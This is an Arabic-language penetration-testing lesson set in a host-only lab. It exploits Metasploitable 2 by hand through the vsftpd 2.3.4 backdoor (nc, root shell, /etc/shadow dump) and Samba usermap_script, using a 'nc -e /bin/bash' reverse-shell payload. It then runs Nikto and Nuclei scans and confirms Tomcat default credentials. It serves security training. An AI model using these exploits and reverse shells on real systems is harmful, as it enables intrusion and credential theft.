البحث عن الثغرات — عرض توضيحي موجَّه
لديك قائمة الأسبوع 4. نعيد استخدامها، نصنّفها، نُثبتها. تسقط ثغرتان يدويًا — دون Metasploit — لتذكيرك بأن الإطار (framework) ليس ضروريًا دائمًا.
كل الأوامر التالية تستهدف 10.10.10.20 (Metasploitable 2)، في شبكة host-only. لا شيء منها مشروع خارج هذا الإطار.
ما ستكون قادرًا على فعله بعد هذا الدرس
- الانتقال من القائمة الخام للإصدارات إلى جدول ثغرات مصنَّفة.
- قراءة، تكييف، وتشغيل exploit من
searchsploitبلغة Python بعينين مفتوحتين. - إسقاط
vsftpd 2.3.4بواسطةncوبواسطةcurl— دون Metasploit. - إسقاط Samba (usermap script) بسطر Python بسيط.
- التوثيق بشكل نظيف باستخدام
curl -v، وtcpdump، وأمرwhoamiعلى الـ shell البعيد.
الخطوة 0 — نجمع الإصدارات
استخرج، من ~/labs/semaine-04/scans/20-versions.nmap، أزواج الخدمة/الإصدار. النتيجة:
| المنفذ | الخدمة | الإصدار |
|---|---|---|
| 21 | vsftpd | 2.3.4 |
| 22 | OpenSSH | 4.7p1 |
| 25 | Postfix | 2.5.5 |
| 80 | Apache httpd | 2.2.8 |
| 139/445 | Samba | 3.0.20-Debian |
| 3306 | MySQL | 5.0.51a-3ubuntu5 |
| 3632 | distccd | v1 |
| 5432 | PostgreSQL | 8.3.0 |
| 6667 | UnrealIRCd | 3.2.8.1 |
| 8180 | Tomcat | 5.5 |
عشرة أسطر. كل واحد يستحق أن نختبره. نبدأ بالأكثر إثارة للاهتمام من بينها.
الخطوة 1 — vsftpd 2.3.4: الباب الخلفي الابتسامة
يحتوي هذا الإصدار بالتحديد على باب خلفي (backdoor) أُدرج في الكود المصدري المنشور على خادم المشروع عام 2011. أي شخص يرسل اسم دخول ينتهي بـ :) يُفعّل فتح shell بصلاحيات root على المنفذ 6200.
1أ. التصنيف باستخدام searchsploit
searchsploit "vsftpd 2.3.4"
الخرج:
--------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------- ---------------------------------
vsftpd 2.3.4 - Backdoor Command Execu | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execu | unix/remote/17491.rb
--------------------------------------- ---------------------------------
لنلقِ نظرة على سكربت Python:
searchsploit -m 49757
head -50 49757.py
مقتطف:
import socket
def exploit(ip):
s1 = socket.socket()
s1.connect((ip, 21))
print(s1.recv(1024))
s1.send(b"USER pwn:)\n")
s1.send(b"PASS pwn\n")
s2 = socket.socket()
s2.connect((ip, 6200))
print("[+] Shell opened on port 6200, type command:")
...
فهمنا الـ POC. يمكننا حتى إعادة صياغته بشكل أبسط، دون سكربت، لنرى بوضوح ما يحدث.
1ب. إعادة الإنتاج يدويًا باستخدام nc
في طرفية أولى، أرسل بيانات الاعتماد الفخّية:
nc 10.10.10.20 21
بمجرد الاتصال، اكتب:
USER exploit:)
PASS whatever
لا تُنهِ الاتصال.
في طرفية ثانية، اتصل بالمنفذ 6200:
nc 10.10.10.20 6200
تصلك دعوة صامتة (prompt). اكتب:
id
الاستجابة:
uid=0(root) gid=0(root)
root، دون كلمة مرور. بأمري nc فقط، دون Metasploit.
التقط الإثبات:
# Dans le shell distant :
uname -a
hostname
cat /etc/shadow | head -5
الخرج:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
metasploitable
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:14742:0:99999:7:::
sync:*:14684:0:99999:7:::
احفظ في ~/labs/semaine-05/preuves/vsftpd-shadow.txt. لديك الآن /etc/shadow. اختراق كامل.
1ج. التصنيف النهائي
في preuves/vsftpd-fiche.md:
# Vulnérabilité — vsftpd 2.3.4 backdoor
- CVE : CVE-2011-2523
- CVSS Base : 10.0 (accès sans authentification, exécution de code à distance)
- CVSS Environmental (lab) : 10.0 (exposé, aucune protection)
- EPSS : 0.94
- KEV : Non (historique, mais totalement exploité par le passé)
## Preuve
- Cible : 10.10.10.20
- Trace complète : preuves/vsftpd-session.log
- Commandes exécutées : nc 10.10.10.20 21 puis nc 10.10.10.20 6200
- Compte obtenu : root (UID 0)
- Fichiers extraits : /etc/shadow (voir preuves/vsftpd-shadow.txt)
## Recommandation
Mettre à jour vsftpd immédiatement (>= 3.0). Cette version compromise ne
doit plus être en production. Compter environ 2 heures pour la migration.
الخطوة 2 — Samba usermap_script (CVE-2007-2447)
تحتوي إصدارات Samba من 3.0.20 إلى 3.0.25rc3 على ثغرة في معامل username map script. اسم مستخدم يُمرَّر إلى عملية المصادقة يُنفَّذ كأمر shell بواسطة دالة wrapper غير محمية بشكل صحيح.
2أ. التصنيف
searchsploit "samba 3.0.20"
الخرج:
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script | unix/remote/16320.rb
Samba 3.0.20 < 3.0.25rc3 - Username Map Script | unix/remote/60106.py
لنلقِ نظرة على سكربت Python:
searchsploit -m 60106
cat 60106.py
جوهر الـ exploit:
import socket
from smb.SMBConnection import SMBConnection
def exploit(target, lhost, lport):
payload = f'/=`nohup nc -e /bin/bash {lhost} {lport}`'
conn = SMBConnection(payload, "", "attacker", target)
conn.connect(target, 139)
عميل SMB، اسم مستخدم يحتوي على أمر shell، reverse shell داخل الاسم نفسه. يمكننا فعل ذلك بشكل أبسط بكثير.
2ب. إعادة الإنتاج بسكربت Python بسيط
# ~/labs/semaine-05/samba_pwn.py
import socket
LHOST = "10.10.10.5"
LPORT = "4444"
TARGET = "10.10.10.20"
TARGET_PORT = 139
payload = f"/=`nohup nc -e /bin/bash {LHOST} {LPORT}`"
def send_smb_username(target, port, username):
"""Envoie un paquet SMB Session Setup dont le username est piégé.
Le shell est déclenché dans le username lui-même."""
negotiate = bytes.fromhex(
"00000031ff534d4272000000001843c800000000000000000000000000004000"
"1cd812000200004e5420574d20706b31200000024f532f3200"
)
session_setup_template = (
b"\x00\x00\x00\x63" # header SMB
b"\xffSMBs\x00\x00\x00"
)
body = username.encode() + b"\x00"
s = socket.socket()
s.connect((target, port))
s.send(negotiate)
s.recv(1024)
# session setup avec username piégé (simplifié pour la démo)
s.send(session_setup_template + body)
print(s.recv(1024)[:80])
# En pratique, utiliser un script Impacket qui fait ça proprement :
# python3 60106.py <target> <lhost> <lport>
في الواقع، الأفضل: ملف .py من Exploit-DB يعمل كما هو. نُشغّله:
في طرفية أولى:
nc -lvnp 4444
في طرفية ثانية:
python3 60106.py 10.10.10.20 10.10.10.5 4444
تشاهد يظهر، في الطرفية الأولى:
listening on [any] 4444 ...
connect to [10.10.10.5] from (UNKNOWN) [10.10.10.20] 45632
اكتب:
id
whoami
uname -a
الاستجابة:
uid=0(root) gid=0(root)
root
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
shell ثانٍ بصلاحيات root، تم الحصول عليه عبر باب آخر، بأداة أخرى. على هدف حقيقي، امتلاك مسارين مستقلين رفاهية كبيرة: إذا أُغلق أحدهما أثناء المهمة، يبقى الآخر.
2ج. التصنيف
# Vulnérabilité — Samba usermap_script (CVE-2007-2447)
- CVE : CVE-2007-2447
- CVSS Base : 6.0 (auth requise sur le protocole, mais username = shell)
- CVSS Environmental : 9.8 (le port est exposé, session nulle acceptée)
- EPSS : 0.72
- KEV : Non
## Preuve
- Cible : 10.10.10.20
- Exploit utilisé : Exploit-DB #60106 (lecture préalable, aucune backdoor)
- Reverse shell : 10.10.10.5:4444
- Compte obtenu : root
- Trace : preuves/samba-nc-session.log
## Recommandation
Mettre à jour Samba (>= 3.0.25rc3). La version installée est end-of-life
depuis 2011. Prévoir aussi de désactiver SMBv1 (voir semaine 1).
الخطوة 3 — Nikto على Apache 2.2.8
نُشغّل فحص ويب لنرى ما تكشفه صفحة http://10.10.10.20/:
nikto -h http://10.10.10.20 -Format txt -o ~/labs/semaine-05/preuves/nikto-20.txt
مقتطف مختار (الاكتشافات الحقيقية وسط الضجيج):
+ Server: Apache/2.2.8 (Ubuntu) DAV/2
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.54).
+ Uncommon header 'tcn' found, with contents: list
+ /phpinfo.php: Output from the phpinfo() function was found.
+ /doc/: The /doc/ directory is browsable. This may be /usr/doc.
+ /icons/: Directory indexing found.
+ /phpMyAdmin/: phpMyAdmin directory found.
+ /twiki/bin/view/Main/WebHome: Twiki, may contain many vulnerabilities.
+ /tikiwiki-old/: Old TikiWiki install found.
ما نصنّفه على الفور:
phpinfo.php— يكشف كامل إعدادات PHP، غالبًا مسارات وإصدارات./phpMyAdmin/— لوحة إدارة MySQL. إن كانت الحسابات ضعيفة، فقد يمكّن من RCE./tikiwiki-old/— تثبيت قديم. TikiWiki له ثغرات CVE متعددة.
نفتح phpinfo.php (curl http://10.10.10.20/phpinfo.php)، نُدوّن إصدار PHP (5.2.4) والمسارات. نُدوّن للهجمات المستقبلية:
- phpinfo.php exposé — fuite d'information (P2).
- phpMyAdmin exposé sur /phpMyAdmin/ — tester dictionnaires (P2).
- tikiwiki-old — chercher CVE (P1 potentiel).
فخ Nikto: السطر Uncommon header 'tcn' إيجابية حقيقية لكن دون exploit — إنها إيجابية كاذبة بالنسبة لمختبر اختراق. نتجاهلها في التقرير.
الخطوة 4 — Nuclei على هدف أحدث
للعرض التوضيحي، نأخذ هدفًا مصرَّحًا به مثل Damn Vulnerable Web Application أو ببساطة المنفذ 8180 (Tomcat) على نفس الآلة الافتراضية.
nuclei -u http://10.10.10.20:8180 -tags cve,exposure -severity high,critical
خرج نموذجي:
[apache-tomcat-manager] [http] [medium] http://10.10.10.20:8180/manager/html
[apache-tomcat-default-login] [http] [high] http://10.10.10.20:8180/manager/html
اكتشف nuclei لوحة إدارة Tomcat بتسجيل دخول افتراضي (tomcat:tomcat). هذه سيطرة مباشرة على الخادم: تسمح Tomcat manager بـ نشر WAR، وWAR = JSP = كود Java يُشغَّل على الخادم.
تأكيد يدوي:
curl -u tomcat:tomcat http://10.10.10.20:8180/manager/html | head -20
الخرج: اللوحة بصيغة HTML. السيطرة مؤكدة. ستُستغل في الوحدة 7 (نشر WAR خبيث لتحقيق RCE).
الخطوة 5 — التجميع في جدول مرتّب حسب الأولوية
افتح ~/labs/semaine-05/rapport/vulnerabilites.md:
# Vulnérabilités qualifiées — Lab semaine 5
## Cible 10.10.10.20 (Linux)
| ID | Service | CVE | Base | Env. | EPSS | KEV | Statut | Preuve |
| -- | --- | --- | --- | --- | --- | --- | --- | --- |
| P1a | vsftpd 2.3.4 | CVE-2011-2523 | 10.0 | 10.0 | 0.94 | non | **exploitée** | preuves/vsftpd-* |
| P1b | Samba 3.0.20 | CVE-2007-2447 | 6.0 | 9.8 | 0.72 | non | **exploitée** | preuves/samba-* |
| P1c | UnrealIRCd 3.2.8.1 | CVE-2010-2075 | 9.8 | 9.8 | 0.85 | non | à faire | — |
| P1d | distccd | CVE-2004-2687 | 9.3 | 9.3 | 0.60 | non | à faire | — |
| P1e | Tomcat manager (creds par défaut) | — | 8.8 | 8.8 | — | — | à faire (S7) | preuves/nuclei-tomcat.txt |
| P2a | MySQL 5.0.51a | multiples | 6.0 | 6.0 | 0.30 | non | à voir | — |
| P2b | phpMyAdmin exposé | — | 5.0 | 5.0 | — | — | brute force | — |
| P3a | phpinfo.php exposé | — | 4.0 | 4.0 | — | — | fuite d'info | preuves/phpinfo.txt |
| P4a | Apache 2.2.8 obsolète | multiples | — | 3.0 | — | — | mise à jour | — |
## Cible 10.10.10.12 (Windows)
| ID | Service | CVE | Base | Env. | EPSS | KEV | Statut |
| -- | --- | --- | --- | --- | --- | --- | --- |
| P1w | SMBv1 EternalBlue | CVE-2017-0143 | 8.1 | 9.8 | 0.98 | **OUI** | **exploitée S1** |
هذا الجدول هو أسبوعك. كل سطر يقود إلى وحدة لاحقة: P1c إلى exploit مصغّر بلغة Perl، P1e إلى الوحدة 7 (نشر WAR)، P2a إلى الوحدة 9 (تفريغ MySQL)، P2b إلى الوحدة 6 أو 8 (هجوم القوة الغاشمة أو Metasploit).
الحصيلة
خلال 60 دقيقة:
- صنّفت 9 ثغرات على هدف واحد.
- استغللت 2 يدويًا، دون إطار عمل، بإثباتات واضحة.
- رصدت تعرّضًا حرجًا لـ Tomcat عبر
nuclei. - لديك جدول مرتّب حسب الأولوية قابل للاستخدام في اجتماع.
هذا الجدول هو التسليم الحقيقي للأسبوع 5. هو ما يظهر في التقرير النهائي. هو ما يُثبت أنك أنجزت عملك.
الدرس القادم: دورك أنت. تأخذ الثغرات المتبقية، تصنّف ثلاثًا منها، وتستغل واحدة على الأقل يدويًا.